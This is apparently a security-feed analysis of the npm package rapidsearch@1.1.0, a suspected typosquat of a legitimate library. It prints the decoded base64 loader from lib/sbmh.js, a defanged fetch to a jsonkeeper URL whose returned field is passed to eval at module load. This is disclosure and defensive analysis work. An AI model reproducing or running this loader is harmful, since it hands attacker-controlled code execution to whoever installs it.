rapidsearch@1.1.0

Analysis

Package impersonates the legitimate rapidsearch library by mscdex ([account]) but is published by a different email ([account]) who also published the known typosquat multer-express. The main module lib/sbmh.js ships a base64-encoded string that decodes to `fetch('hxxps://jsonkeeper[.]com/b/9NXQ0').then(r=>r.json()).then(d=>{eval(d.ret);});`. This code runs at module load time (require()), fetches a JSON payload from jsonkeeper[.]com, and evals the '.ret' field — a remote code execution vector delivering an attacker-controlled second-stage payload from an external pastebin-like host.